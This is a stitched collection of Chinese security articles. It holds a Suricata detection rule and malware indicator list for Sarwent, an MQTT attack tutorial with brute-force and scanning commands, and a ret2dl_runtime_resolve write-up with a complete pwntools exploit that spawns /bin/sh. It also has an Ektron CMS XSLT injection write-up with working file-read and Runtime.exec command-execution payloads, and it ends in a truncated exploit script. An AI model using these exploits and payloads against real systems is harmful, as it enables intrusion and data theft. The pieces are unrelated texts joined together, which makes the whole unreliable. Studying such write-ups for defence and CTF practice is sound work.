alert http $EXTERNAL_NET any -> $HOME_NET any (msg:”Sarwent rdp command”; content:”200″; http_stat_code; content:”fHJkcH”; startswith; http_server_body; flow:to_client, established; classtype:trojan-activity; sid:9000047; rev:1; metadata:author Jason Reaves;)
## IoCs
**Download Location:**
whatsmyhomeworthlondonontario[.]ca/wp-admin/version.exe
beurbn[.]com/install.exe
### V2
**Hash:**
3f7fb64ec24a5e9a8cfb6160fad37d33fed6547c
**Domains**
seoanalyticsproj.xyz
seoanalyticsproewj.xyz
seoanalyticsp34roj.xyz
seoanalyticsptyrroj.xyz
seoanalyticsprojrts.xyz
seoanalyticspro32frghyj.xyz
**Hash:**
ab57769dd4e4d4720eedaca31198fd7a68b7ff80
**Domains**
vertuozoff.xyz
vertuozoff.club
vertuozofff.xyz
vertuozofff.com
vertuozofff.club
vertuozoffff.club
**Hash:**
d297761f97b2ead98a96b374d5d9dac504a9a134
**Domains**
rabbot.xyz
terobolt.xyz
tebbolt.xyz
rubbolt.xyz
rubbot.xyz
treawot.xyz
**Hash:**
3eeddeadcc34b89fbdd77384b2b97daff4ccf8cc
**Domains**
rabbot.xyz
terobolt.xyz
tebbolt.xyz
rubbolt.xyz
rubbot.xyz
treawot.xyz
**Hash:**
106f8c7ddbf265fc108a7501b6af292000dd5219
**Domains**
blognews-journal.com
startprojekt.pw
blognews-joural.com
blognews-joural.best
blognews-joural.info
startprojekt.pro
### V1
**Hash:**
83b33392e045425e9330a7f009801b53e3ab472a
**Domains**
212.73.150.246([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=212.73.150.246
"ZoomEye搜索结果"))
softfaremiks.icu
shopstoregame.icu
shopstoregamese.icu
**Hash:**
2979160112ea2de4f4e1b9224085efbbedafb593
**Domains**
shopstoregame.icu
softfaremiks.icu
shopstoregamese.icu shopstoregamese.com shopstoregames.icu
## 参考链接
1. <https://twitter.com/VK_Intel/status/1228833249536987138>
2. <https://twitter.com/James_inthe_box/status/1228788661006659584>
3. <https://twitter.com/VK_Intel/status/1242587625409609731>
4. <https://github.com/silence-is-best/c2db>
* * * | 社区文章 |
# 物联网安全之MQTT协议安全
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我是银基Tiger Team的BaCde，今天来说说MQTT协议的安全。
MQTT 全称为 Message Queuing Telemetry Transport（消息队列遥测传输）是是ISO 标准(ISO/IEC PRF
20922)下基于发布/订阅范式的消息协议，由 IBM
发布。由于其轻量、简单、开放和易于实现的特点非常适合需要低功耗和网络带宽有限的IoT场景。比如遥感数据、汽车、智能家居、智慧城市、医疗医护等。
## MQTT协议
MQTT协议为大量计算能力有限，低带宽、不可靠网络等环境而设计，其应用非常广泛。目前支持的服务端程序也较丰富，其PHP，JAVA，Python，C，C#等系统语言也都可以向MQTT发送相关消息。
目前最新的版本为5.0版本，可以在<https://github.com/mqtt/mqtt.github.io/wiki/servers>
这个连接中看到支持MQTT的服务端软件。 其中hivemq中提到针对汽车厂商的合作与应用，在研究过程中会发现有汽车行业应用了MQTT协议。
以下列举我们关心的几项：
1. 使用发布/订阅的消息模式，支持一对多的消息发布；
2. 消息是通过TCP/IP协议传输；
3. 简单的数据包格式；
4. 默认端口为TCP的1883，websocket端口8083，默认消息不加密。8883端口默认是通过TLS加密的MQTT协议。
### 发布/订阅模式
MQTT协议中有三种角色和一个主要概念，三种角色分别是发布者（PUBLISHER）、订阅者（SUBCRIBER）、代理（BROKER），还有一个主要的概念为主题（TOPIC）。
消息的发送方被称为发布者，消息的接收方被称为订阅者，发送者和订阅者发布或订阅消息均会连接BROKER，BROKER一般为服务端，BROKER存放消息的容器就是主题。发布者将消息发送到主题中，订阅者在接收消息之前需要先“订阅主题”。每份订阅中，订阅者都可以接收到主题的所有消息。
其MQTT协议流程图如下：
这里不对协议进行过多介绍，感兴趣的大家可以结尾处的引用查看。
## MQTT的攻击点
根据其特性，可以扩展如下几个攻击点：
1. 授权：匿名连接问题，匿名访问则代表任何人都可以发布或订阅消息。如果存在敏感数据或指令，将导致信息泄漏或者被恶意攻击者发起恶意指令；
2. 传输：默认未加密，则可被中间人攻击。可获取其验证的用户名和密码；
3. 认证：弱口令问题，由于可被爆破，设置了弱口令，同样也会存在安全风险；
4. 应用：订阅端明文配置导致泄漏其验证的用户名和密码；
5. 漏洞：服务端软件自身存在缺陷可被利用，或者订阅端或服务端解析内容不当产生安全漏洞，这将导致整个系统。
## MQTT的利用
目前已经有针对MQTT的开源利用工具，这里主要以mqtt-pwn这块工具为主。mqtt-pwn这块工具功能强大易用。github地址为<https://github.com/akamai-threat-research/mqtt-pwn>，使用文档地址为<https://mqtt-pwn.readthedocs.io/en/latest/>。
**工具安装**
mqtt-pwn的安装很简单。可以直接安装到本机，也可以直接使用docker的方式。
文本直接使用docker方式。首先确保已经安装docker和docker-compose。然后运行如下命令进行安装:
git clone https://github.com/akamai-threat-research/mqtt-pwn.git
cd mqtt-pwn
docker-compose up --build --detach
运行：
docker-compose ps
docker-compose run cli
即可看到mqtt-pwn的界面。
**MQTT匿名访问**
有一些MQTT的服务端软件默认是开启匿名访问，如果管理员没有网络安全意识或懒惰，只要对公网开放，任何人都可以直接访问。
使用mqtt-pwn的connect命令进行连接。`connect -h` 显示帮助信息，其他命令也是如此，使用时，多看帮助和文档，很快就可以熟悉使用。
对于开启匿名的服务，直接`connect -o host`
即可，当然该命令也支持输入用户名和密码。如果没有显示连接异常，就表示连接成功。连接成功后，可使用`system_info` 查看系统信息。
接下来就可以查看topic信息等内容。这时先执行`discovery`，等待显示scan #1 has finished，接下来执行`scans -i
序号`，在执行`topics`命令即可看到topic信息。
其中`disconvery`可以使用`-t`参数设置超时时间。`topics`命令可以使用`-l`参数设置查看条数。
可以输入`messages`查看topic的内容。使用`-l`限制条数，`-i`参数查看某个单挑消息内容等。
**MQTT用户名密码爆破**
metasploit带有MQTT的爆破模块，经过实际测试，效果并不理想。这里仍然以mqtt-pwn来进行介绍。
mqtt-pwn具有bruteforce功能，并带了一个简单的字典，可以爆破MQTT的用户名和密码。
bruteforce --host host --port port -uf user_dic -pf pass_dic
端口默认是1883，用户和密码字典默认会在mqtt-pwn的`resources/wordlists` 文件夹下。
例如执行`bruteforce --host
127.0.0.1`爆破。爆破成功后就可以使用上面将到的内容进行连接进行操作，在连接时加上用户名和密码选项即可。
mqtt-pwn还支持更多功能，如[Owntracks (GPS Tracker)](https://mqtt-pwn.readthedocs.io/en/latest/plugins/owntracks.html)、[Sonoff
Exploiter](https://mqtt-pwn.readthedocs.io/en/latest/plugins/sonoff.html)等。感兴趣的大家自己去看下文档去进行测试。
**应用中发现**
在实际的使用场景我们可以通过中间人劫持从流量中捕获验证信息。以下为wireshark抓包内容。
除此之外，由于目前多种语言实现了mqtt的客户端，web应用中还有webscoket的mqtt。这使得可以通过web的网页源码或网络请求获得验证的信息。
**历史漏洞**
这里列举一些历史上MQTT的漏洞，不全仅供参考。
[CVE-2017-7296](https://www.cvedetails.com/cve/CVE-2017-7296/)
[CVE-2017-7650](https://mosquitto.org/blog/2017/05/security-advisory-cve-2017-7650/)
[CVE-2018-17614](https://nvd.nist.gov/vuln/detail/CVE-2018-17614)
[CVE-2019-5432](https://hackerone.com/reports/541354)
[CVE-2020-13849](https://nvd.nist.gov/vuln/detail/CVE-2020-13849)
[Mosquitto漏洞列表](https://mosquitto.org/security/)
## 探测与发现
功能强大的nmap是支持MQTT协议的识别的，可以直接通过nmap进行识别MQTT协议。另外，除上面提到的默认端口外，有的管理员会修改默认端口，这时也可以尝试1884，8084，8884等临近端口以进行快速探测，或前面增加数字等作为组合，如果针对单个目标，则可以探测全部端口。如果进行大规模的扫描或者提升扫描效率，则可以使用masscan、zmap、RustScan等先进性端口扫描，在使用nmap进行协议识别即可。
nmap举例命令如下：
`sudo nmap -p1883,8083,8883 -sS -sV --version-intensity 9 -Pn --open
target_ip`
nmap也有相关的MQTT
lua脚本可以使用，其MQTT版本为3.1.1。脚本地址为<https://svn.nmap.org/nmap/nselib/mqtt.lua>。
如果想要自己编写代码去进行探测，只需要根据MQTT的协议标准，通过socket即可进行收发报文。关于MQTT协议的详细内容可以查看文档，地址为<https://docs.oasis-open.org/mqtt/mqtt/>
现有的网络空间测绘平台基本都实现了对MQTT进行探测。可直接通过这些搜索引擎获取大量对外使用MQTT协议的服务。
* 知风
在针对IoT和ICS探测的搜索引擎知风中搜索，直接搜索`mqtt`关键字，可以发现15万个对外开放的服务。
* fofa
搜索关键字为`protocol=mqtt`，一年内有25万个对外开放。
* shodan
搜索关键字：
product:”MQTT”
product:”Mosquitto”
shodan上搜索后共有超过11万个对外开放。
通过以上的搜索结果，各引擎各有优劣。shodan和知风针对该协议的探测均会列出topic；而fofa从发现数量上最多，但是仅识别了协议，并未列出topic；除此之外知风系统的地理位置定位精度较高，可以定位百米范围内。
## mqtt 安全建议
1. 请勿启用匿名访问，对服务端（BROKER）设置认证，增加用户名密码验证。
2. 根据实际情况，优先使用加密传输数据，防止中间人攻击。
3. 加密payload后在进行安全传输。
4. 使用最新的服务端程序架设服务。
5. 不要将实现的代码上传到github等代码公开平台。
## 小结
写这篇文章时，网络上关于MQTT安全的文章并不多，但是通过对其了解，仍然有不少内容可以探索，比如在工业上有MQTT网关，以及众多支持MQTT的服务端软件、加上广泛的应用场景。本文简单介绍MQTT安全的内容，还有更多的内容等待探索。感兴趣的朋友也欢迎大家多多交流讨论。
最后，提醒一下大家，在学习和研究过程中自己搭建服务进行学习。请勿对网络上的目标进行测试、破坏等活动。
## 引用
<https://dzone.com/articles/exploiting-mqtt-using-lua>
<https://www.hindawi.com/journals/wcmc/2018/8261746/>
<https://github.com/akamai-threat-research/mqtt-pwn>
<https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b>
<https://book.hacktricks.xyz/pentesting/1883-pentesting-mqtt-mosquitto>
https://hackmd.io/@QwmL8PAwTx-bYDnry-ONpA/H1nm2tHzb?type=view
<https://ttm4175.iik.ntnu.no/prep-iot-mqtt.html>
<https://mobilebit.wordpress.com/tag/mqtt/>
<https://www.hivemq.com/blog/seven-best-mqtt-client-tools/>
<https://nmap.org/nsedoc/lib/mqtt.html>
<http://mqtt.p2hp.com/> | 社区文章 |
之前简单学了一波ret2dl_runtime_resolve的操作，但是没有认真记下笔记，只懂了大概的原理流程，到现在要回忆起具体的细节又想不起来orz，果然以我这老人家的记性不通过码字是记不牢的，因此这里再认真深入复现一次原理
# 原理
拿一个自己写的c来测试一波：
#include <stdio.h>
void say()
{
char buf[20];
puts("input your name:");
read(0,&buf,120);
printf("hello,%s\n",buf);
//return 0;
}
int main()
{
puts("hello word!");
say();
exit(0);
}
我这里编译成64位的程序来测试
可以看到，程序一开始会先运行puts函数，打印出hello Word
上gdb进行动态调试
我们用si跟进call puts@plt里面去，会走到0x400500的puts plt表中去，我们可以看到plt中的内容则是几条指令
jmp 到 0x601018的地方去，这里其实就是got表
而我们可以看到，got表里面存的却是puts的plt表的第二条指令：
`0x400506 <puts@plt+6> push 0`
因此又回到plt表继续执行push 0操作
`0x40050b <puts@plt+11> jmp 0x4004f0`
接着又push了0x601008的内容到栈顶
而0x601008正是GOT[1]，也就是push
GOT[1]了，接着就jmp到GOT[2]，而GOT[2]的内容正是_dl_runtime_resolve函数的真实地址
GOT表的内容
GOT[0]--> 0x601000:0x0000000000600e28 ->.dynamic的地址
GOT[1]--> 0x601008:0x00007ffff7ffe168 ->link_map 此处包含链接器的标识信息
GOT[2]--> 0x601010:0x00007ffff7dee870 ->_dl_runtime_resolve 动态链接器中的入口点
GOT[3]--> 0x601018:0x0000000000400506 -> <puts@plt+6>
。。。。
实际上，就是执行了`_dl_runtime_resolve(link_map,
reloc_arg)`，通过这个神奇的函数，就能够把函数的真实地址写到got表，以后plt一执行之前的jmp的时候，就可以直接拿到真实的地址了，到这里，其实就可以解释动态链接中是如何调用函数的了，通过这个也可以对动态延迟绑定技术有进一步的理解。
这里有一张图非常清晰的显示了函数第一次调用和第二次调用的流程：
继续，我们来看一下这个link_map里面有个什么
可以看到link_map中有个.dynamic的地址 ，到这里就要介绍一波这些花里胡哨的段了
.dynamic，动态节一般保存了 ELF 文件的如下信息
* 依赖于哪些动态库
* 动态符号节信息
* 动态字符串节信息
动态节的结构是这样的
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];
用readelf -d ./main可以打印出程序的动态节的内容
Dynamic section at offset 0xe28 contains 24 entries:
标记 类型 名称/值
0x0000000000000001 (NEEDED) 共享库：[libc.so.6]
0x000000000000000c (INIT) 0x4004d0
0x000000000000000d (FINI) 0x400774
0x0000000000000019 (INIT_ARRAY) 0x600e10
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x600e18
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x400298
0x0000000000000005 (STRTAB) 0x400378
0x0000000000000006 (SYMTAB) 0x4002b8
0x000000000000000a (STRSZ) 105 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x601000
0x0000000000000002 (PLTRELSZ) 144 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0x400440
0x0000000000000007 (RELA) 0x400428
0x0000000000000008 (RELASZ) 24 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000006ffffffe (VERNEED) 0x4003f8
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0x4003e2
0x0000000000000000 (NULL) 0x0
我们这里需要关注的是这些：
0x0000000000000005 (STRTAB) 0x400378
0x0000000000000006 (SYMTAB) 0x4002b8
0x0000000000000017 (JMPREL) 0x400440
STRTAB, SYMTAB, JMPREL分别指向.dynstr, .dynsym, .rel.plt节段
这里解释一下，动态符号表 (.dynsym) 用来保存与动态链接相关的导入导出符号，不包括模块内部的符号。而 .symtab 则保存所有符号，包括
.dynsym 中的符号，因此一般来说，.symtab的内容多一点
需要注意的是 `.dynsym` 是运行时所需的，ELF 文件中 export/import 的符号信息全在这里。但是`.symtab`
节中存储的信息是编译时的符号信息，用 `strip` 工具会被删除掉。
`.dynstr`节包含了动态链接的字符串。这个节以`\x00`作为开始和结尾，中间每个字符串也以`\x00`间隔。
我们主要关注动态符号.dynsym中的两个成员
* st_name， 该成员保存着动态符号在 .dynstr 表（动态字符串表）中的偏移。
* st_value，如果这个符号被导出，这个符号保存着对应的虚拟地址。
.rel.plt 包含了需要重定位的函数的信息，使用如下的结构，需要区分的是`.rel.plt`节是用于函数重定位，`.rel.dyn`节是用于变量重定位
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
//32 位程序只使用 Elf32_Rel
//64 位程序只使用 Elf32_Rela
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
Elf32_Sword r_addend;
} Elf32_Rela;
r_offset：指向对应got表的指针
r_info：r_info>>8后得到一个下标，对应此导入符号在.dynsym中的下标
介绍完以上，我们再回到这里：
_dl_runtime_resolve(link_map, reloc_arg)
这里的link_map就是GOT[1]
这里的reloc_arg就是函数在.rel.plt中的偏移，就是之前push 0
也就是说puts函数在.rel.plt中的偏移是0，我们用readelf -r main 发现的确如此
接着就需要分析_dl_runtime_resolve(link_map, reloc_arg)到底干了什么，我们gdb跟进，发现在
_dl_runtime_resolve中又调用了 _dl_fixup函数
这个函数就是绑定真实地址到got的核心操作所在了
这里直接贴一个大佬对 _dl_fixup 函数的分析
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址，也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
综上所述，过程是这样的
1、第一次执行函数，去plt表，接着去got表，由于没有真实地址，又返回plt表的第一项，压入reloc_arg和link_map后调用_dl_runtime_resolve(link_map,
reloc_arg)
2、link_map访问.dynamic节段，并获得.dynstr, .dynsym, .rel.plt节段的地址
3、.rel.plt + reloc_arglt=0，求出对应函数重定位表项Elf32_Rel的指针，这里puts的是：
重定位节 '.rela.plt' 位于偏移量 0x440 含有 6 个条目：
偏移量 信息 类型 符号值 符号名称 + 加数
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000601040 000700000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
4、通过重定位表项Elf32_Rel的指针，得到对应函数的r_info，r_info >>
8作为.dynsym的下标（这里puts是1），求出当前函数的符号表项Elf32_Sym的指针：
Symbol table '.dynsym' contains 8 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
6: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
5、利用Elf32_Sym的指针得到对应的st_name，.dynstr + st_name即为符号名字符串指针
6、在动态链接库查找这个函数，并且把地址赋值给.rel.plt中对应条目的r_offset：指向对应got表的指针，由此puts的got表就被写上了真实的地址
7、赋值给GOT表后，把程序流程返回给puts
# 利用操作
通过上面的分析，其实很关键的一点，就是要先从plt[0]开始这一切
因此我们在利用的时候首先要做的是把程序流程给跳到plt[0]中
然后根据上面的7步流程中，可以分析出有三种利用的方法
* 伪造ink_map使得dynamic指向我们可以控制的地方
* 改写.dynamic的DT_STRTAB指向我们可以控制的地方
* 伪造reloc_arg，也就是伪造一个很大的`.rel.plt`offset，使得加上去之后的地址指向我们可以控制的地方
这里一般都用最后一种，因为前两种要求完全没开RELRO保护，但一般都会开Partial RELRO，这样都直接导致.dynamic不可写
这里用这个小程序来测试一下
#include <stdio.h>
#include <string.h>
void vul()
{
char buf[28];
read(0, buf, 128);
}
int main()
{
char name[]="input your name!\n";
write(1,name,strlen(name));
vul();
}
//gcc -m32 -fno-stack-protector main.c -o main32
用一张图来解释exp的利用流程，应该非常清楚了
exp:如下
#coding=utf-8
from pwn import*
context.log_level = 'debug'
p = process('./main32')
elf =ELF("./main32")
def debug(addr=''):
gdb.attach(p,'')
pause()
bss = elf.bss()
ppp_ret = 0x08048549
pop_ebp_ret = 0x0804854b
leave_ret = 0x080483d8
PLT = 0x8048310
rel_plt = 0x80482CC
elf_dynsym = 0x080481CC
elf_dynstr = 0x0804823c
stack_addr = bss + 0x300
read_plt = elf.plt['read']
write_plt = elf.plt['write']
def exp():
payload = 'a' * (0x24+4)
payload += p32(read_plt)#read(0,stack_addr,100)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(stack_addr)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(stack_addr)
payload += p32(leave_ret)#esp指向stack_addr
p.recvuntil("input your name!\n")
p.sendline(payload)
index_offset = (stack_addr + 28) - rel_plt
write_got = elf.got['write']
#伪造dynsym
fake_dynsym = stack_addr + 36
align = 0x10 - ((fake_dynsym - elf_dynsym) & 0xf)#
fake_dynsym = fake_dynsym + align
#这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
index_dynsym_addr = (fake_dynsym - elf_dynsym) / 0x10#dynsym下标
r_info = (index_dynsym_addr << 8) | 0x7
hack_rel = p32(write_got) + p32(r_info)#伪造reloc段
#伪造dynsym段
st_name = (fake_dynsym + 0x10) - elf_dynstr#这里+0x10是因为上面填的fake_dynsym占了0x10字节
fake_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
#system("/bin/sh")
payload2 = 'AAAA'
payload2 += p32(PLT)
payload2 += p32(index_offset)#reloc_arg
payload2 += 'AAAA'
payload2 += p32(stack_addr + 80)#参数位置
payload2 += 'AAAA'
payload2 += 'AAAA'
payload2 += hack_rel #stack_addr+28
payload2 += 'A' * align
payload2 += fake_dynsym # stack_addr+36+align
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += "/bin/sh\x00"
payload2 += 'A' * (100 - len(payload2))
#debug()
p.sendline(payload2)
p.interactive()
exp()
# 小结
ret2dl_runtime_resolve的操作比较独特的一点是不需要leak，只需要一个控制程序流程的洞和有可控空间，就可以实现这个操作，在pwn中还是非常有用的一个操作，通过学习这个技巧，也能对elf文件格式以及动态链接，延迟绑定的机制有进一步的理解
然后，其实这里有个自动化的工具可以实现一把梭rop的构造，非常好用，但是还是建议理解清楚原理再去用工具
<https://github.com/inaz2/roputils/blob/master/examples/dl-resolve-i386.py>
# 参考
<http://rk700.github.io/2015/08/09/return-to-dl-resolve/>
<https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/>
<https://www.jianshu.com/p/e13e1dce095d>
<http://pwn4.fun/2016/11/09/Return-to-dl-resolve/> | 社区文章 |
**本文分享的是一个XSLT注入漏洞，漏洞存在于Ektron CMS
8.02的Saxon组件中，攻击者利用该漏洞，可造成SSRF甚至RCE。但研究者发现Metasploit上的exp似乎无法利用，漏洞已被修补。后来经过摸索，进一步做信息收集，最终获取RCE。**
### **偶然发现攻击面**
国外某研究人员应邀給一个大型组织做Web渗透测试。经过简单的信息收集，发现该Web应用较为简单，没有明显的缺陷。
进一步搜寻测试后，研究人员使用dirbuster（目录扫描器）发现了一个有趣的JavaScript文件，查阅文件内容显示应用程序为： **Ektron
CMS 8.02**
简单搜索因特网，研究人员在[Microsoft Research Advisory](https://technet.microsoft.com/en-us/library/security/msvr12-016.aspx)上找到关于该CMS的一些漏洞信息：
> ...当Ektron Web CMS 的XslCompiledTransform类处理用户控制的XSL数据时，可能会导致容易代码执行...
存在漏洞的页面：
https(s)://host/WorkArea/ContentDesigner/ekajaxtransform.aspx
目标确实存在这个页面，它可能可以存在漏洞。下一步，研究人员开始枚举目标服务器上的XSLT解析引擎，通过Burp发送一个POST请求，同时在Body处插入XSLT有效载荷：
xslt=<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
</xsl:template>
</xsl:stylesheet>
页面反馈：
> _Version: 1_
> _Vendor: Microsoft_
> _Vendor URL:<http://www.microsoft.com>_
### 尝试通用Exp
此时，已经表明为Microsoft
XSLT解析器。紧接着，研究人员在Metasploit上找到一个模块，可用于此攻击。设置完毕参数后，exploit，但没有返回结果。可初步判断，目标应用上的这个漏洞已修补，无法被利用，但研究者并没有放弃，查看Metasploit发送的请求：
很容易看出，它会调用一个有趣的脚本：
<msxsl：script language =“C＃”implements-prefix =“user”>
Microsoft XSLT 似乎可以运行C#。通过脚本元素，可以在XSLT文档或其他带外扩展中嵌入C#恶意代码。
构造一个简单的SSRF探测有效载荷：
xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
{
System.Diagnostics.Process.Start("cmd.exe /C ping IP");
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
</xsl:template>
</xsl:stylesheet>
反馈：
> 已禁止使用脚本。可以通过 _XsltSettings.EnableScript_ 属性激活。
看来这就是为什么Metasploit模块攻击失效的原因了。虽然已在元素中嵌入C#，但脚本被禁用，无法工作。通过这点，可以确定漏洞已经修补了，攻击者无法获取RCE。但研究人员没有放弃，开始进一步搜索漏洞信息。
### 柳暗花明
查阅资料，研究人员找出两份关于XSLT注入攻击的研究文档[[1](https://eprints.hsr.ch/414/1/sa_eduss_rbischof_eprints.pdf).[2](https://www.blackhat.com/docs/us-15/materials/us-15-Arnaboldi-Abusing-XSLT-For-Practical-Attacks-wp.pdf)]，第一份为德文，较为全面地介绍了这类攻击，第二份来自IOActive。阅读相关文档后，研究人员发现其实Ektron
CMS附有多个XSLT解析器，其中一个名为Saxon。枚举Saxon版本：
xslt=<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>
反馈：
> _Version: 2.0_
> _Vendor: SAXON 9.x.x.x from Saxonica_
> _Vendor URL:<http://www.saxonica.com/>_
Saxon解析器可以正常解析用户输入，同时提供反馈。接下来，攻击者可以尝试读取一些文件，枚举信息甚至命令执行。
**读取文件** ：
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>
**查看当前目录** ：
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:CurrentDirectory()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>
**查看当前用户和域：**
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:UserName()"/>
<xsl:value-of select="env:UserDomainName()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>
攻击者现在可以探测服务器目录结构，读取服务器上的大部分文件，SAM文件除外，因为Web应用用户权限不足。
### Getshell
研究人员的最终目标是命令执行，但文档中没有可用的XSLT样式。进一步研究那份德文文档，发现可以通过Xalan解析来执行Java代码，但Saxon解析器没有声明命名空间。
尝试构造模块，反馈错误。
> _< xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'notepad.exe')"_
> _xmlns:Runtime="java:java.lang.Runtime"/ >_
研究[Saxonica](http://www.saxonica.com/documentation/index.html)文档后，研究人员发现可利用命名空间和某些函数，构造XSLT文档来执行命令：
xslt=<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
后来发现没有声明java的命名空间：
> xmlns:java="[http://saxon.sf.net/java-type">](http://saxon.sf.net/java-type)
如果没有声明命名空间，处理器不能找到与`java:java.lang.Runtime`相关的外部对象或脚本。
发送有效负载，研究人员可执行任意命令，并且可以与Empire框架连接，至此web渗透部分结束。
**利用脚本**
#! /usr/bin/python
import httplib
target = raw_input("""Enter the domain or IP address of target:
e.g. www.google.com, or 198.162.0.1: """)
port = raw_input("""Enter port number of target
e.g. 80 or 443: """)
process = raw_input("""Enter the process you wish to run:
powershell.exe or cmd.exe: """)
command = raw_input("""Enter command you wish to run:
e.g. ping 127.0.0.1: """)
def printText(txt):
lines = txt.split('\n')
